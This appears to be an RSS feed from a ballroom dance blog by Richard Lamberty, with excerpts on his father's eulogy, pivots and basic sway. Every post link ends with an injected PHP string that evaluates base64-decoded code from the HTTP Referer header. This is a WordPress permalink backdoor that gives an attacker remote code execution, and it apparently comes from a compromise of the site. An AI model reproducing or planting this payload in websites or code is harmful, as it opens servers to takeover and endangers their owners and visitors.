http://rexl.org Musing on the technique of Standard Ballroom by Richard Lamberty Mon, 16 Nov 2009 17:17:39 +0000 http://backend.userland.com/rss092 en Many people have expressed interest in the eulogy that I gave at my father's funeral on Saturday, November 8, 2008. Although the honor and privilege of speaking was mine, all six of my brothers and sisters participated in the writing. The document is available for download as a Word document ... http://rexl.org/2008/11/10/in-memorium-harry-w-lamberty/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ A reader recently wrote and asked me if I would write about PIVOTS. Happy to oblige. First, lets start with the formal definitions. Alex Moore defines Pivot as: A turn on the ball of one foot , the other foot being kept in front or behind in C.B.M.P. The DVIDA manual defines Pivot ... http://rexl.org/2008/02/23/pivots/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ As you recall basic sway is defined in the ISTD manual as follows: Sway is normally the inclination of the body away from the moving foot and towards the inside of the turn - e.g. step 2 of Waltz Natural Turn. And the definition I was taught is: Sway is the natural ... http://rexl.org/2008/02/04/more-on-basic-sway/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/